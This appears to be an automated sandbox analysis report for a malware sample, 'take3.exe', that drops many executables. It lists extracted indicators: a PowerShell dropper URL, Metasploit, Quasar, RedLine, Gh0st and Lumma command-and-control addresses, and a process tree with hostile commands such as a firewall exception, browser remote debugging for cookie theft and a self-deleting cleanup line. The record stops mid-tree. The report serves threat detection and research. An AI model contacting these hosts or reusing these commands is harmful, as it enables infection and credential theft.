ammyyadmin | c26e2475ef60ba969bb66c9b464b498efb1da0bf7360ff7545c1db3b707bdbed

Resubmissions

29/11/2024, 08:21

241129-j89bpsvnes10

28/11/2024, 22:32

241128-2f9qwatjcw10

28/11/2024, 20:43

241128-zh3dgavrcr10

Analysis

max time kernel
5s
max time network
50s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
29/11/2024, 08:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
take3.exe
Size 14.3MB
Sample241129-j89bpsvnes
SHA256 c26e2475ef60ba969bb66c9b464b498efb1da0bf7360ff7545c1db3b707bdbed
MD5 8a44ee98217bc81f0869d793eefab1f0
SHA1 4756ed10cbf5dbad09746a8fa2c2e62c2f2b7200
SHA512 4f18f54d791929cb24c02e8865d520e6263c096bef7ebd422578bca0600cadb6ea4b046654ef007ba056bf568ff3a19b068bf4313b4a218953a5bd2ecb0e6a02
SSDEEP 393216:vOWd863huc1dQJlAwF3MnG3InVFedWm7NS/xHWgnHz:2893hr1dQ53MG4VAHsT
MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://osecweb.ir/js/config_20.ps1

Extracted

Family

metasploit

Version

encoder/shikata_ga_nai

Extracted

Family

metasploit

Version

metasploit_stager

144.34.162.13:3333

Extracted

Family

lumma

https://preside-comforter.sbs
https://savvy-steereo.sbs
https://copper-replace.sbs
https://record-envyp.sbs
https://slam-whipp.sbs
https://wrench-creter.sbs
https://looky-marked.sbs
https://plastic-mitten.sbs
https://tail-cease.cyou

Extracted

Family

quasar

Version

1.4.1

Botnet

SGVP

192.168.1.9:4782
150.129.206.176:4782
Ai-Sgvp-33452.portmap.host:33452

Mutex

a35ec7b7-5a95-4207-8f25-7af0a7847fa5

Attributes

encryption_key
09BBDA8FF0524296F02F8F81158F33C0AA74D487
install_name
User Application Data.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Windowns Client Startup
subdirectory
Quasar

Extracted

Family

redline

Botnet

Diamotrix

176.111.174.140:1912

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

14.243.221.170:2654

Mutex

a7b38fdd-192e-4e47-b9ba-ca9eb81cc7bd

Attributes

encryption_key
8B9AD736E943A06EAF1321AD479071E83805704C
install_name
Runtime Broker.exe
log_directory
Logs
reconnect_delay
3000
startup_key
Runtime Broker
subdirectory
SubDir

Extracted

Family

gh0strat

1.15.110.72

Signatures

Ammyy Admin
Remote admin tool with various capabilities.
rat ammyyadmin

AmmyyAdmin payload 2 IoCs

resource	yara_rule
behavioral1/files/0x001a00000002ac2c-583.dat	family_ammyyadmin
behavioral1/files/0x001900000002ac1a-653.dat	family_ammyyadmin

Ammyyadmin family
ammyyadmin

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/files/0x001d00000002ac8b-1250.dat	family_xworm

FlawedAmmyy RAT
Remote-access trojan based on leaked code for the Ammyy remote admin software.
trojan flawedammyy
Flawedammyy family
flawedammyy

Gh0st RAT payload 1 IoCs

resource	yara_rule
behavioral1/memory/2984-1053-0x0000000010000000-0x0000000010026000-memory.dmp	family_gh0strat

Gh0strat
Gh0st RAT is a remote access tool (RAT) with its source code public and it has been used by multiple Chinese groups.
rat gh0strat
Gh0strat family
gh0strat
Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Metasploit family
metasploit
Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 4 IoCs

resource	yara_rule
behavioral1/files/0x001900000002abfc-672.dat	family_quasar
behavioral1/memory/428-679-0x0000000000730000-0x0000000000A54000-memory.dmp	family_quasar
behavioral1/files/0x001900000002abfb-771.dat	family_quasar
behavioral1/memory/3008-780-0x0000000000660000-0x0000000000984000-memory.dmp	family_quasar

Ramnit
Ramnit is a versatile family that holds viruses, worms, and Trojans.
trojan spyware stealer worm banker ramnit
Ramnit family
ramnit
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0007000000025b8f-746.dat	family_redline
behavioral1/memory/4088-756-0x0000000000F60000-0x0000000000FB2000-memory.dmp	family_redline

Redline family
redline
Xmrig family
xmrig
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 4 IoCs

miner

resource	yara_rule
behavioral1/memory/2696-783-0x00007FF7BCE50000-0x00007FF7BDAA0000-memory.dmp	xmrig
behavioral1/memory/2696-788-0x00007FF7BCE50000-0x00007FF7BDAA0000-memory.dmp	xmrig
behavioral1/memory/2696-927-0x00007FF7BCE50000-0x00007FF7BDAA0000-memory.dmp	xmrig
behavioral1/memory/2696-1059-0x00007FF7BCE50000-0x00007FF7BDAA0000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5040	powershell.exe
1288	powershell.exe

Downloads MZ/PE file

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5684	netsh.exe

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
5784	attrib.exe
5560	attrib.exe

Uses browser remote debugging 2 TTPs 11 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
4716	chrome.exe
2928	chrome.exe
5336	chrome.exe
2480	msedge.exe
5132	msedge.exe
6012	msedge.exe
3260	chrome.exe
5252	chrome.exe
5620	msedge.exe
5108	msedge.exe
5980	msedge.exe

Executes dropped EXE 4 IoCs

pid	Process
2984	dsd.exe
1504	UpdateBrowserExt.exe
4928	actualizacion-con-extension.exe
2964	1_encoded.exe

Loads dropped DLL 26 IoCs

pid	Process
4592	take3.exe
4592	take3.exe
4592	take3.exe
4592	take3.exe
4592	take3.exe
4592	take3.exe
4592	take3.exe
4592	take3.exe
4592	take3.exe
4592	take3.exe
4592	take3.exe
4592	take3.exe
4592	take3.exe
4592	take3.exe
4592	take3.exe
4592	take3.exe
4592	take3.exe
4592	take3.exe
4592	take3.exe
4592	take3.exe
4592	take3.exe
4592	take3.exe
4592	take3.exe
4592	take3.exe
4592	take3.exe
4592	take3.exe

VMProtect packed file 6 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral1/files/0x0006000000025b79-807.dat	vmprotect
behavioral1/files/0x0006000000025b79-893.dat	vmprotect
behavioral1/memory/5940-902-0x00007FF6A80C0000-0x00007FF6A82F5000-memory.dmp	vmprotect
behavioral1/memory/5940-899-0x00007FF6A80C0000-0x00007FF6A82F5000-memory.dmp	vmprotect
behavioral1/memory/5940-904-0x00007FF6A80C0000-0x00007FF6A82F5000-memory.dmp	vmprotect
behavioral1/files/0x0006000000025b79-1155.dat	vmprotect

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
74	raw.githubusercontent.com
75	raw.githubusercontent.com
76	raw.githubusercontent.com

UPX packed file 16 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x001900000002ac19-518.dat	upx
behavioral1/memory/4676-529-0x0000000000400000-0x000000000047D000-memory.dmp	upx
behavioral1/files/0x0006000000025b78-539.dat	upx
behavioral1/memory/3888-545-0x0000000000400000-0x000000000042B000-memory.dmp	upx
behavioral1/files/0x001c00000002ac00-557.dat	upx
behavioral1/memory/2696-568-0x00007FF7BCE50000-0x00007FF7BDAA0000-memory.dmp	upx
behavioral1/files/0x0006000000025b7a-732.dat	upx
behavioral1/memory/3076-739-0x0000000000400000-0x000000000044B000-memory.dmp	upx
behavioral1/memory/4676-758-0x0000000000400000-0x000000000047D000-memory.dmp	upx
behavioral1/memory/3888-776-0x0000000000400000-0x000000000042B000-memory.dmp	upx
behavioral1/memory/2696-783-0x00007FF7BCE50000-0x00007FF7BDAA0000-memory.dmp	upx
behavioral1/memory/2696-788-0x00007FF7BCE50000-0x00007FF7BDAA0000-memory.dmp	upx
behavioral1/memory/3076-911-0x0000000000400000-0x000000000044B000-memory.dmp	upx
behavioral1/memory/2696-927-0x00007FF7BCE50000-0x00007FF7BDAA0000-memory.dmp	upx
behavioral1/memory/5948-1061-0x0000000000400000-0x000000000042E000-memory.dmp	upx
behavioral1/memory/2696-1059-0x00007FF7BCE50000-0x00007FF7BDAA0000-memory.dmp	upx

Access Token Manipulation: Create Process with Token 1 TTPs 2 IoCs

defense_evasion privilege_escalation

Create Process with Token

T1134.002

pid	Process
4720	mshta.exe
4844	mshta.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x000200000002a618-821.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Event Triggered Execution: Accessibility Features 1 TTPs
Windows contains accessibility features that may be used by adversaries to establish persistence and/or elevate privileges.
persistence privilege_escalation

Accessibility Features
T1546.008

Program crash 2 IoCs

pid	pid_target	Process	procid_target
3540	2080	WerFault.exe	124
4984	5948	WerFault.exe	212

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dsd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UpdateBrowserExt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	actualizacion-con-extension.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3852	cmd.exe
32	PING.EXE
5372	cmd.exe
5644	PING.EXE

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
32	PING.EXE
5644	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5396	schtasks.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 2280 wrote to memory of 4592	2280	take3.exe	79
PID 2280 wrote to memory of 4592	2280	take3.exe	79
PID 4592 wrote to memory of 2984	4592	take3.exe	80
PID 4592 wrote to memory of 2984	4592	take3.exe	80
PID 4592 wrote to memory of 2984	4592	take3.exe	80
PID 4592 wrote to memory of 1504	4592	take3.exe	81
PID 4592 wrote to memory of 1504	4592	take3.exe	81
PID 4592 wrote to memory of 1504	4592	take3.exe	81
PID 4592 wrote to memory of 4928	4592	take3.exe	82
PID 4592 wrote to memory of 4928	4592	take3.exe	82
PID 4592 wrote to memory of 4928	4592	take3.exe	82
PID 4592 wrote to memory of 2964	4592	take3.exe	83
PID 4592 wrote to memory of 2964	4592	take3.exe	83

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
5784	attrib.exe
5560	attrib.exe

C:\Users\Admin\AppData\Local\Temp\take3.exe
"C:\Users\Admin\AppData\Local\Temp\take3.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2280
- C:\Users\Admin\AppData\Local\Temp\take3.exe
  "C:\Users\Admin\AppData\Local\Temp\take3.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4592
- - C:\Users\Admin\Downloads\UrlHausFiles\dsd.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\dsd.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2984
  - - C:\Users\Admin\AppData\Roaming\svchost.exe
      "C:\Users\Admin\AppData\Roaming\svchost.exe"
      4⤵
      PID:3548
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\svchost.exe" "svchost.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        
        PID:5684
- - C:\Users\Admin\Downloads\UrlHausFiles\UpdateBrowserExt.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\UpdateBrowserExt.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1504
- - C:\Users\Admin\Downloads\UrlHausFiles\actualizacion-con-extension.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\actualizacion-con-extension.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4928
- - C:\Users\Admin\Downloads\UrlHausFiles\1_encoded.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\1_encoded.exe"
    3⤵
    - Executes dropped EXE
    PID:2964
- - C:\Users\Admin\Downloads\UrlHausFiles\TORRENTOLD-1.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\TORRENTOLD-1.exe"
    3⤵
    PID:3756
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
      4⤵
      Uses browser remote debugging
      PID:4716
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff81b4cc40,0x7fff81b4cc4c,0x7fff81b4cc58
        5⤵
        
        PID:1388
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1824,i,10250942246721249886,9917512175385544120,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1820 /prefetch:2
        5⤵
        
        PID:4308
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2096,i,10250942246721249886,9917512175385544120,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2104 /prefetch:3
        5⤵
        
        PID:3820
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2188,i,10250942246721249886,9917512175385544120,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2488 /prefetch:8
        5⤵
        
        PID:2080
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3040,i,10250942246721249886,9917512175385544120,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3096 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:3260
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3048,i,10250942246721249886,9917512175385544120,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3140 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:2928
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4504,i,10250942246721249886,9917512175385544120,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4496 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5252
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --no-appcompat-clear --remote-debugging-port=9223 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4624,i,10250942246721249886,9917512175385544120,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4648 /prefetch:2
        5⤵
        Uses browser remote debugging
        
        PID:5336
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4844,i,10250942246721249886,9917512175385544120,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4824 /prefetch:8
        5⤵
        
        PID:5928
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9223 --profile-directory="Default"
      4⤵
      Uses browser remote debugging
      PID:5620
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff81223cb8,0x7fff81223cc8,0x7fff81223cd8
        5⤵
        
        PID:5636
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2000,2441838263140208318,12544329789927902751,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2012 /prefetch:2
        5⤵
        
        PID:5180
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2000,2441838263140208318,12544329789927902751,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 /prefetch:3
        5⤵
        
        PID:4764
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2000,2441838263140208318,12544329789927902751,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2444 /prefetch:8
        5⤵
        
        PID:1952
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2000,2441838263140208318,12544329789927902751,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3192 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5108
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2000,2441838263140208318,12544329789927902751,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3200 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:2480
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2000,2441838263140208318,12544329789927902751,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3744 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5980
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2000,2441838263140208318,12544329789927902751,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2004 /prefetch:2
        5⤵
        
        PID:5896
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2000,2441838263140208318,12544329789927902751,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2732 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:6012
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9223 --field-trial-handle=2000,2441838263140208318,12544329789927902751,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2708 /prefetch:1
        5⤵
        Uses browser remote debugging
        
        PID:5132
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2000,2441838263140208318,12544329789927902751,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=4904 /prefetch:2
        5⤵
        
        PID:772
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2000,2441838263140208318,12544329789927902751,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2380 /prefetch:2
        5⤵
        
        PID:660
- - C:\Users\Admin\Downloads\UrlHausFiles\payload.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\payload.exe"
    3⤵
    PID:1084
- - C:\Users\Admin\Downloads\UrlHausFiles\uxN4wDZ.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\uxN4wDZ.exe"
    3⤵
    PID:1388
  - - C:\Users\Admin\Downloads\UrlHausFiles\uxN4wDZ.exe
      "C:\Users\Admin\Downloads\UrlHausFiles\uxN4wDZ.exe"
      4⤵
      PID:2784
  - - C:\Users\Admin\Downloads\UrlHausFiles\uxN4wDZ.exe
      "C:\Users\Admin\Downloads\UrlHausFiles\uxN4wDZ.exe"
      4⤵
      PID:3820
- - C:\Users\Admin\Downloads\UrlHausFiles\7z.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\7z.exe"
    3⤵
    PID:4716
- - C:\Users\Admin\Downloads\UrlHausFiles\NBYS%20ASM.NET.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\NBYS%20ASM.NET.exe"
    3⤵
    PID:1960
- - C:\Users\Admin\Downloads\UrlHausFiles\shttpsr_mg.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\shttpsr_mg.exe"
    3⤵
    PID:4676
- - C:\Users\Admin\Downloads\UrlHausFiles\LedgerUpdater.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\LedgerUpdater.exe"
    3⤵
    PID:1848
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\Admin\Downloads\UrlHausFiles\LedgerUpdater.exe
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:3852
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 2.2.2.2 -n 1 -w 3000
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:32
- - C:\Users\Admin\Downloads\UrlHausFiles\keygen.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\keygen.exe"
    3⤵
    PID:3888
- - C:\Users\Admin\Downloads\UrlHausFiles\xblkpfZ8Y4.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\xblkpfZ8Y4.exe"
    3⤵
    PID:2696
- - C:\Users\Admin\Downloads\UrlHausFiles\Aa_v3.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\Aa_v3.exe"
    3⤵
    PID:3360
- - C:\Users\Admin\Downloads\UrlHausFiles\TPB-1.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\TPB-1.exe"
    3⤵
    PID:4528
- - C:\Users\Admin\Downloads\UrlHausFiles\MJPVgHw.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\MJPVgHw.exe"
    3⤵
    PID:1232
  - - C:\Windows\system32\svchost.exe
      "C:\Windows\system32\svchost.exe"
      4⤵
      PID:1088
  - - C:\Windows\system32\audiodg.exe
      "C:\Windows\system32\audiodg.exe"
      4⤵
      PID:1800
  - - C:\Windows\system32\msiexec.exe
      "C:\Windows\system32\msiexec.exe"
      4⤵
      PID:1728
- - C:\Users\Admin\Downloads\UrlHausFiles\22.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\22.exe"
    3⤵
    PID:752
- - C:\Users\Admin\Downloads\UrlHausFiles\pornhub_downloader.exe
    "C:\Users\Admin\Downloads\UrlHausFiles\pornhub_downloader.exe"
    3⤵
    PID:2500
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\AD18.tmp\AD19.tmp\AD1A.bat C:\Users\Admin\Downloads\UrlHausFiles\pornhub_downloader.exe"
      4⤵
      PID:4524
    - - C:\Windows\system32\mshta.exe
        
